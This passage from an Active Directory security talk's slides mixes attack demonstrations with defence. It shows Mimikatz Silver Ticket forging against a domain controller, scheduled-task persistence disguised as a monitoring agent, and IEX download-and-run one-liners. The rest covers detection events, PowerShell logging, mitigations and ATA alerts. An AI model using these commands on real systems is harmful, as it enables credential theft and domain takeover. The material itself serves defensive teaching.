<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMI8230.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMI94FC.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMA7D8.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMA836.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMAEDD.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMI611.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMI6DC.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:09 AM</td>
<td>0</td>
<td>DMIC488.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/17/2015 12:48 AM</td>
<td>0</td>
<td>DMIC4C7.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/18/2015 12:09 AM</td>
<td>0</td>
<td>DMIC563.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/18/2015 2:27 AM</td>
<td>0</td>
<td>DMIF01C.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/18/2015 8:54 PM</td>
<td>676916</td>
<td>Invoke-Mimikatz.ps1</td>
</tr>
</tbody>
</table>
```
Silver Ticket: Domain Controller Exploitation

```
User : LukeSkywalker
Domain : LAB.ADSECURITY.ORG
SID : S-1-5-21-1387203402-2957264255-828990924
User Id : 2601
Groups Id : *513,512,520,518,519
ServiceKey: eaac459f6664fe83b734a1898c9704e - rc4_hmac_nt
Service : HOST
Target : adsdc02.lab.adsecurity.org
→ Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for LukeSkywalker @ LAB.ADSECURITY.ORG successfully submitted for current session

minikatz<commandline> # exit
Bye!
P$ C:\temp\minikatz
```
Silver Ticket: Domain Controller Exploitation

Cached Tickets: (1)

0>
Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: HOST/adsdc02.lab.adsecurity.org @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40000000 -> forwardable renewable pre_authent
Start Time: 3/15/2015 0:19:42 (local)
End Time: 3/12/2025 0:19:42 (local)
Renew Time: 3/12/2025 0:19:42 (local)
Session Key Type: RSADSI RC4-HMAC(NT)

PS C:\temp\mimikatz> schtasks /create /S adsdc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"

SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> schtasks /create /S adsdc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"

WARNING: The task name "SCOM Agent Health Check" already exists. Do you want to replace it (Y/N)? y
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> schtasks /query /S adsdc02.lab.adsecurity.org

<table>
<thead>
<tr>
<th>TaskName</th>
<th>Next Run Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>SCOM Agent Health Check</td>
<td>3/22/2015 12:21:00 AM</td>
<td>Ready</td>
</tr>
</tbody>
</table>
Silver Ticket: Domain Controller Exploitation
Forging Kerberos Trust Tickets

1. AS REQ (request TGT)
2. AS REP (receive TGT)
3. TGS REQ (receive TGT)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)
Blue Team Response: Forged Kerberos Tickets

Detection: *Difficult*

Mitigation:
- Protect AD Admins
Detecting Forged Kerberos: **Golden & Silver** Tickets

• Normal, valid account logon event data structure:
  – **Security ID:** DOMAIN\AccountID
  – **Account Name:** AccountID
  – **Account Domain:** DOMAIN

• **Golden & Silver Ticket** events may have one of these issues:
  – The Account Domain field is **blank** when it should contain **DOMAIN**.
  – The Account Domain field is **DOMAIN FQDN** when it should contain **DOMAIN**.
  – The Account Domain field contains “eo.oe.kiwi :)

    *Event IDs: 4624 (logon), 4672 (admin logon), 4634 (logoff)*
Blue Team (Defense)
PowerShell Attack Detection

• Log all PowerShell activity

• Interesting Activity:
  – Invoke-Expression (and derivatives: “iex”).
  – “EncodedCommand” (“-enc”) & “Bypass”
  – BITS activity.
  – Scheduled Task creation/deletion.
  – PowerShell Remoting (WinRM).

• Track & Limit PowerShell Remoting (WinRM).

• Audit/Meter PowerShell usage.
PowerShell v5 Security Enhancements

- Script block logging
- System-wide transcripts
- Constrained PowerShell
- Antimalware Integration (Win 10)
PowerShell v5 Security: Script Block Logging

PS C:\Users\ADSAdmin> powershell -encodedcommand VwByAGkAdAB1AC0ATwB1AHQAcAB1AHQAIAAiAFIAdQBuAG4AaQBu... Running Invoke-Mimikatz...

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

- Creating Scriptblock text (1 of 1):
  - Write-Output "Running Invoke-Mimikatz..."

- ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1c7

- Log Name: Microsoft-Windows-PowerShell/Operational
- Source: PowerShell (Microsoft-Windows-PowerShell)
- Event ID: 4104
- Level: Verbose
- User: WIN-FOOTV83NK60-ADSAd
- Logged: 6/25/2015 8:30:16 PM
- Task Category: Execute a Remote Command
- Computer: WIN-FOOTV83NK6K
PowerShell v5 Security: System-Wide Transcripts

PS C:\> get-content C:\Users\ADSAdmin\Documents\PowerShell_transcript.ADSWK10.6CuHE1fY.20150730171748.txt

Windows PowerShell transcript start
Start time: 20150730171748
Username: ADSWK10\ADSAdmin
RunAs User: ADSWK10\ADSAdmin
Machine: ADSWK10 (Microsoft Windows NT 10.0.10074.0)
Host Application: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
Process ID: 3928

C:\Users\ADSAdmin\Documents\PowerShell_transcript.ADSWK10.6CuHE1fY.20150730171748.txt

Command start time: 20150730172926

PS C:\Windows\system32> get-service

<table>
<thead>
<tr>
<th>Status</th>
<th>Name</th>
<th>DisplayName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stopped</td>
<td>AJRouter</td>
<td>AllJoyn Router Service</td>
</tr>
<tr>
<td>Stopped</td>
<td>ALG</td>
<td>Application Layer Gateway Service</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppIDSvc</td>
<td>Application Identity</td>
</tr>
<tr>
<td>Running</td>
<td>Appinfo</td>
<td>Application Information</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppMgmt</td>
<td>Application Management</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppReadiness</td>
<td>App Readiness</td>
</tr>
<tr>
<td>Running</td>
<td>AppXSvc</td>
<td>AppX Deployment Service (AppXSVCC)</td>
</tr>
<tr>
<td>Running</td>
<td>AudioEndpointBus</td>
<td>Windows Audio Endpoint Builder</td>
</tr>
<tr>
<td>Running</td>
<td>Audiosrv</td>
<td>Windows Audio</td>
</tr>
<tr>
<td></td>
<td>RdpClient</td>
<td>Remote Desktop Protocol Client (RDP-CLI)</td>
</tr>
</tbody>
</table>
PowerShell v5 Security: Constrained PowerShell

```powershell
PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Windows\system32>
PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...
```

New-Object : Cannot create type. Only core types are supported in this language mode.
At line:1 char:6
  + IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); ...
  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  + CategoryInfo             : PermissionDenied: () [New-Object], PSNotSupportedException
  + FullyQualifiedErrorId    : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

Invoke-Mimikatz : The term 'Invoke-Mimikatz' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:71
  + ... Ient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...
  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  + CategoryInfo             : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException
  + FullyQualifiedErrorId    : CommandNotFoundException
```
Windows 10 PowerShell Security: Antimalware Integration

PS C:\Windows\System32> Iex (Invoke-WebRequest http://pastebin.com/raw.php?i=JHhnFV8m)
iex : At line:1 char:1
  + 'ANSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
  + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:4 char:1
+ iex $string
+ ~~~~~~~~~~~~~
    + CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpression

At line:1 char:1
+ function Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent
Mitigation Level One (Low)

- Minimize the groups (& users) with DC admin/logon rights
- Separate user & admin accounts (JoeUser & AdminJoeUser)
- No user accounts in admin groups
- Set all admin accounts to “sensitive & cannot be delegated”
- Deploy Security Back-port patch (KB2871997)
- Set GPO to prevent local accounts from connecting over network to computers (KB2871997).
- Use long, complex (>25 characters) passwords for SAs.
- Delete (or secure) GPP policies and files with creds.
- Patch server image (and servers) before running DCPromo
- Implement RDP Restricted Admin mode
Mitigation Level Two (Moderate)

- **Microsoft LAPS** (or similar) to randomize computer local admin account passwords.

- **Service Accounts (SAs):**
  - Leverage “(Group) Managed Service Accounts”.
  - Limit SAs to systems of the same security level, **not** shared between workstations & servers (for example).

- Remove Windows 2003 from the network.

- Separate Admin workstations for administrators (locked-down & no internet).

- PowerShell logging
Mitigation Level Three (“It’s Complicated”)

- **Number of Domain Admins = 0**
- Complete separation of administration
- ADAs use SmartCard auth w/ rotating pw
- ADAs never logon to other security tiers.
- ADAs should only logon to a DC (or admin workstation or server).
- Time-based, temporary group membership.
- No Domain Admin service accounts running on non-DCs.
- Disable default local admin account & delete all other local accounts.
- Implement network segmentation.
- CMD Process logging & enhancement (KB3004375).
Credential Theft Protection (Future)

- **LSAlso**
  - NTLM Support
  - Kerberos Support
  - Clear Secrets
  - Isolated User Mode (IUM)

- **LSASS**
  - NTLM
  - Kerberos
  - IUM Secrets
  - High Level OS (HLOS)

---

Hypervisor

Computer Hardware
Microsoft Advanced Threat Analytics (ATA, formerly Aorato)

- Monitors all network traffic to Domain Controllers
- Baselines “normal activity” for each user (computers, resources, etc)
- Alerts on suspicious activity by user
- Natively detects recon & attack activity without writing rules

**ATA Detection Capability:**

- Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc
- MS14-068 exploits
- Golden Ticket usage
- DNS Reconnaissance
- Password brute forcing
- Domain Controller Skeleton Key Malware
Microsoft Advanced Threat Analytics (ATA)

Suspicion of Identity Theft based on Abnormal Behavior
Server Administrator exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 9 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

Recommendations:
- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating unknown processes, services, registry entries, unsigned files, and more.
- Contact Server Administrator and investigate if the user has logged in to abnormal computers and accessed abnormal resources.
### Suspicion of Identity Theft based on Abnormal Behavior

Server Administrator exhibited abnormal behavior when performing activities that were not seen over the last month, and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 8 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

**July 3, 2015, 10:52 AM to July 5, 2015, 9:15 AM**

### From (10):

<table>
<thead>
<tr>
<th>Time</th>
<th>Hostname</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
</tbody>
</table>

### Accessed (13):

<table>
<thead>
<tr>
<th>Time</th>
<th>Domain/Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
<tr>
<td>10:32 AM</td>
<td>Comp18</td>
</tr>
</tbody>
</table>

### Via Domain/Controller (1):

<table>
<thead>
<tr>
<th>Domain/Service</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
<tr>
<td>FS</td>
<td>10:32 AM</td>
</tr>
</tbody>
</table>
Identity Theft Using Pass-the-Hash Attack

Administrator's hash was stolen from one of the computers previously logged into by Administrator and used from WIN7CLIENT-PC.

Recommendations
- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator's account
- Reset Administrator's password
ATA Detection: Credential Theft Pass the Ticket

Identity Theft Using Pass-the-Ticket Attack
Administrator’s Kerberos tickets were stolen from FS to CLIENT1 and used to access DC01 (CIFS).

Recommendations
- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator’s account
ATA Detection: Credential Theft OverPass the Hash

Encryption Downgrade Activity

The encryption method of the Encrypted_Timestamp field of AS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a credential theft using Overpass-The-Hash from FS.

Sunday, July 5, 2015 at 7:39 AM

<table>
<thead>
<tr>
<th>Accounts (1)</th>
<th>From (1)</th>
<th>Accessed (1)</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Joe User</td>
<td>FS</td>
<td>lab.adsecurity.org</td>
<td>DC01</td>
</tr>
<tr>
<td>7:39 AM</td>
<td>192.168.222.15</td>
<td>to KRBTGT</td>
<td>123.123.123.123</td>
</tr>
<tr>
<td>Sunday</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>July 5, 2015</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
ATA Detection: MS14-068 Exploit

**Privilege Escalation using Forged PAC**

Server Administrator attempted to escalate privileges by using a forged PAC from WIN7CLIENT-PC and accessing krbtgt (KRBTGT) (1 successful).

Thursday, July 2, 2015 at 8:49 AM

<table>
<thead>
<tr>
<th>From (1)</th>
<th>Accessed (1)</th>
<th>Response</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>8:49 AM</td>
<td>WIN7CLIENT-PC: 192.168.222.34</td>
<td>✔ Success Forged PAC Provided</td>
<td>DC01 192.168.222.22</td>
</tr>
<tr>
<td>Thursday</td>
<td>July 2, 2015</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
ATA Detection: Golden Ticket

**Encryption Downgrade Activity**

The encryption method of the TGT field of TGS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on FS.

July 5, 2015 8:26 AM to 8:51 AM

<table>
<thead>
<tr>
<th>Accounts</th>
<th>From</th>
<th>Accessed</th>
<th>Via Domain Controllers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Michael</td>
<td>FS 192.168.222.15</td>
<td>DC01 to CIFS</td>
<td>DC01 192.168.222.22</td>
</tr>
<tr>
<td>Joe User</td>
<td>FS 192.168.222.15</td>
<td>DC01 to CIFS</td>
<td>DC01 192.168.222.22</td>
</tr>
</tbody>
</table>
### ATA Detection: Skeleton Key

#### Encryption Downgrade Activity

The encryption method of the ETYPE_INFO2 field of KRB_ERR message from 3 computers has been downgraded based on previously learned behavior. This may be a result of a Skeleton Key on DCD1.


<table>
<thead>
<tr>
<th>Accounts (4)</th>
<th>From (3)</th>
<th>Accessed (2)</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>9:32 AM, Thursday, July 2, 2015</td>
<td>Server Administration</td>
<td>WIN7_CLIENT-PC 192.168.222.34</td>
<td>2 Resources</td>
</tr>
<tr>
<td>12:45 PM, Thursday, July 2, 2015</td>
<td>CLIENT1 192.168.222.31</td>
<td>CLIENT1 192.168.222.31</td>
<td>2 Resources</td>
</tr>
<tr>
<td>12:50 PM, Thursday, July 2, 2015</td>
<td>FS 192.168.222.70</td>
<td>FS 192.168.222.70</td>
<td>2 Resources</td>
</tr>
<tr>
<td>5:04 PM, Thursday, July 2, 2015</td>
<td>WIN7_CLIENT-PC 192.168.222.34</td>
<td>WIN7_CLIENT-PC 192.168.222.34</td>
<td>2 Resources</td>
</tr>
<tr>
<td>10:12 AM, Friday, July 3, 2015</td>
<td>Server Administration</td>
<td>FS 192.168.222.15</td>
<td>2 Resources</td>
</tr>
</tbody>
</table>
Additional Mitigations

- **Monitor** scheduled tasks on sensitive systems (DCs, etc)
- **Block** internet access to DCs & servers.
- **Monitor** security event logs on all servers for known forged Kerberos & backup events.
- Include computer account password changes as part of domain-wide password change scenario (set to 1 day)
- **Change** the KRBTGT account password (twice) every year & when an AD admin leaves.
- Incorporate Threat Intelligence in your process and model defenses against real, current threats.
Summary

• Attackers will get code running on a target network.
• The extent of attacker access is based on defensive posture.
• Advanced attacks with forged tickets can be detected.
• Protect AD Admins or a full domain compromise is likely!

My research into Active Directory attack, defense, & detection is ongoing. This is only the beginning... 😊
Thanks!

• Alva “Skip” Duckwall (@passingthehash)
• Benjamin Delpy (@gentilkiwi)
• Casey Smith (@subtee)
• Chris Campbell (@obscuresec)
  – [http://obscuresecurity.blogspot.com](http://obscuresecurity.blogspot.com)
• Joe Bialek (@clymb3r)
  – [https://clymb3r.wordpress.com](https://clymb3r.wordpress.com)
• Matt Graeber (@mattifestation)
• Rob Fuller (@mubix)
• Will (@harmj0y)
  – [http://blog.harmj0y.net](http://blog.harmj0y.net)

• The Microsoft ATA Product Team (Tal, Michael, & Idan)
• Many others in the security community!
• My wife & family for putting up with me being on the computer every night! 😊

**CONTACT:**
Sean Metcalf
@PyroTek3
sean [@] dansolutions . com
[http://DAnSolutions.com](http://DAnSolutions.com)
[https://www.ADSecurity.org](https://www.ADSecurity.org)
Please submit an evaluation